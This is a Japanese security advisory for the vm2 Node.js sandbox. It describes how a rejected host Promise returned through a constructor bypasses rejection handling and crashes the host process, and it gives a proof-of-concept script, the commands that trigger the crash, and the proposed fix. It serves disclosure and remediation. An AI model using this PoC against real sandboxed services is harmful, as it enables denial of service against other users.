vm2: 公開されているコンストラクタからのホスト Promise の拒否により、vm2 ホストプロセスが終了する可能性がある

## 概要

`VM.run` によって実行される信頼できないスクリプトは、埋め込み環境から公開されているホスト関数を構築し、拒否されたネイティブ Promise を返し、その結果を無視することができます。サンドボックスからホストへの `construct` トラップは、ホスト側の拒否処理を既に適用している隣接する `apply` トラップとは異なり、その Promise をそのまま転送するため、Node の厳格な未処理の拒否ポリシーによってホストプロセスが終了します。

## 技術的な詳細

前提条件は、VM サンドボックス内に存在する、アプリケーションによって提供される、構築可能なホスト関数であり、そのコンストラクタの本体が拒否されたネイティブ Promise を返すものです。JavaScript では、コンストラクタによって明示的に返されるオブジェクトが、新たに割り当てられたインスタンスを置き換えるため、`new HostReject()` はその Promise を生成します。

`VM.run` は、攻撃者が制御するソースコードを実行します。通常のホスト関数の呼び出しの場合、`BaseHandler.apply` はホスト関数を呼び出し、`markHostPromiseHandled(ret)` を呼び出し、その後、結果をラップします。一方、隣接する `BaseHandler.construct` パスは、`Reflect.construct` を呼び出し、同じサニタイザーを呼び出さずに `thisFromOtherWithFactory(...)` を返します。したがって、拒否されたホスト Promise は、未処理のままサンドボックスを越えます。Node の厳格な未処理の拒否の動作により、拒否はキャッチされない例外に昇格され、ホストプロセスが終了します。

最短のパスは、`VM.run` → サンドボックスブリッジ → `BaseHandler.construct` です。このパスでは、ゲスト側の式のみが変更されます。具体的には、構築された Promise に `.catch(function () {})` を追加してから無視します。ホスト関数、VM の設定、拒否、および Node のポリシーは同じであり、制御プロセスは生存します。

これは意図された動作ではありません。なぜなら、リポジトリの GHSA-gjq8 のセキュリティ強化策は、apply 境界でホスト Promise が処理されることを明示的に示していますが、隣接する construct の戻りパスには、それに対応する処理が存在しないからです。construct パスは、既に修正された apply パスの再実行ではなく、独立した境界であり、修正の対象となる領域です。

## 実証方法

以下の内容を `construct-promise-poc.js` という名前で保存してください。

```js
'use strict';

const { VM } = require(process.cwd() + '/lib/main.js');

function HostReject() {
return Promise.reject(new Error('constructed-host-boom'));
}

const mode = process.argv[2];
const vm = new VM({ sandbox: { HostReject } });

if (mode === 'vulnerable') {
console.log('VULNERABLE_STARTED');
vm.run('new HostReject(); 1');
setTimeout(() => console.log('ALIVE'), 300);
} else if (mode === 'control') {
vm.run('new HostReject().catch(function () {}); 1');
setTimeout(() => console.log('CONTROL_ALIVE'), 300);
} else {
throw new Error('usage: node construct-promise-poc.js vulnerable|control');
}
```

## PoC (概念実証)

vm2 のリビジョン `91034466bfb7f56b95fd48083ec6ca36d058f164` を確認し、`npm ci --ignore-scripts` で宣言されている依存関係をインストールし、`construct-promise-poc.js` をそのチェックアウトのモジュールルート ( `package.json` と `lib/` を含むディレクトリ) に保存します。 同じモジュールルートディレクトリから、以下のスクリプトとコマンドを実行します。 スクリプトは現在のディレクトリから `lib/main.js` を解決するため、テストではチェックアウトされた vm2 のソースを使用します。

Node.js `v26.8.1` 上で、vm2 `3.11.8` の上記リビジョンでテストしました。 `NODE_OPTIONS=--unhandled-rejections=strict` を使用しました。 アボートフラグは、プロセスのクラッシュ信号を明示的に示します。

```text
NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable
```

脆弱な場合の出力 (一部省略):

```text
VULNERABLE_STARTED
Error: constructed-host-boom
at VM2 Wrapper.construct (.../lib/bridge.js:2340:11)
at VM.run (.../lib/vm.js:613:16)
```

プロセスは `ALIVE` を出力する前に終了します (テスト実行時の終了ステータスは 139)。 スタックトレースは環境に依存します。 `construct` と `VM.run` のフレームは、関連するターゲット関数を示します。

同様の `control` コマンドは以下の通りです。

```text
NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control
```

`control` コマンドの出力:

```text
CONTROL_ALIVE
```

制御が正常に終了しました。クラッシュは、プロセスレベルでの可用性障害であり、`VM.run`によって捕捉され、返されるゲスト例外ではありません。

## 影響

攻撃者がVMにJavaScriptを送信でき、構築可能なPromiseを返すホストAPIを受け取ることができる場合、1つの式でサンドボックスをホストしているNode.jsプロセスを終了させることができます。これにより、プラグインワーカー、ノートブックカーネル、キューコンシューマー、または他のユーザーにサービスを提供するマルチテナント実行ワーカーが停止する可能性があります。この脆弱性は、ファイルシステムへのアクセス、Nodeの組み込み機能、ネストされたVM、またはホストの侵害を必要としません。脆弱性の利用には、組み込み側がホストコンストラクタを公開し、ホストが厳格な未処理リジェクションハンドリングを使用している必要があります。

影響はホストの可用性のみであり、このレポートは機密性や完全性の影響については言及していません。タイプ分類はCWE-248(未捕捉例外)およびCWE-703(例外的な条件の不適切なチェックまたは処理)であり、CVSS 3.1では`AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H`(8.6、高)と評価されます。これは、ネットワーク境界を越えて信頼できないコードを受け入れるデプロイメントの場合です。

## 推奨される修正

サンドボックスに渡るすべてのホストネイティブPromiseが、無視される前に「処理済み」としてマークされるという、ブリッジの不変性を復元します。`BaseHandler.construct`に、ホストの結果が生成され、変換されて返される前に、`BaseHandler.apply`で使用されている`markHostPromiseHandled(ret)`の呼び出しを追加します。

```js
stripDangerousSymbolsFromHostResult(ret);
markHostPromiseHandled(ret);
return thisFromOtherWithFactory(getHandlerFactory(this), ret, thisFromOther(object));
```

この呼び出しは、Promiseの値を変えたり、後で`.catch()`または`.then(..., onRejected)`をアタッチするサンドボックスコードがリジェクションを検知するのを妨げたりしないように、安全なホスト側のリジェクション反応をアタッチします。回帰テストでは、`new`を通じて返される無視されたリジェクトされたPromise、捕捉された制御、通常のPromiseではないコンストラクタの戻り値、および既存のapplyパスの動作をカバーする必要があります。

## 影響を受けるパッケージ/バージョン
```

- パッケージ: `vm2` (npm)。
- 脆弱性が確認されたバージョン: `3.11.8`、およびrevision `91034466bfb7f56b95fd48083ec6ca36d058f164`を含む。
- 実際にテストで影響が確認されたバージョン範囲は `3.11.8` であり、このテストからは、より広範囲なバージョンに影響があるとは推測できません。

## 脆弱性に関する情報

公開されている[GHSA-gjq8-xm47-88rcの脆弱性情報](https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc)では、ホストから返されるPromiseの拒否処理に関する問題が記述されており、修正されたバージョンとして`3.11.8`が記載されています。この修正と再現方法は、ブリッジの`apply`ルートを通じて呼び出されるホスト関数に関連しています。このレポートでは、`new`によって到達される別の`construct`ルートを使用しており、テスト対象の`3.11.8`のソースコードでは、依然として`markHostPromiseHandled(ret)`が省略されています。`apply`の修正は、この関連する戻りパスを自動的に修正するものではありません。

確認された関連する公開情報には、[GHSA-hw58-p9xv-2mjh](https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh)という、以前のサンドボックス内のPromiseコンストラクタに関する問題があります。GHSA-hw58は、サンドボックス内で作成されたPromiseの実行者によって発生するエラーに関するものであり、これはGHSA-gjq8で説明されている`BaseHandler.apply`を介したホストから返されるPromiseではなく、サンドボックスネイティブの`localPromise`/executorパスです。また、これは`BaseHandler.construct`を介したホストコンストラクタの結果ではありません。

確認された検索結果には、[PR #421, “Handle errors thrown in async functions”](https://github.com/patriksimek/vm2/pull/421)というものも含まれています。これは、非同期関数のエラーやタイマーコールバックに関する別の問題であり、一般的な未処理の拒否処理に関連していますが、GHSA-gjq8で説明されている`apply`境界を介して返されるホストPromiseや、この`construct`トラップを介して公開されたコンストラクタによって返されるPromiseとは異なります。

「NodeVM crypto sanitizer exposes process-wide crypto.setFips」と題された、以前のローカルレポートは、別の根本原因について扱っています。許可リストに登録された`crypto`という組み込み機能が`setFips`を公開しており、これによりゲストコードがホスト全体の暗号化状態を変更できるようになっています。この問題の境界線と解決策は、組み込み機能のサニタイズとプロセス状態の変更であり、ホスト側のPromiseの拒否処理とは異なります。したがって、この問題は、GHSA-gjq8の`apply`ルートと、この`BaseHandler.construct`ルートとは異なります。この構成に関連する根本原因を扱った以前のレポートは見つかりませんでした。

影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは3.12.1以下、3.12.2で修正済み。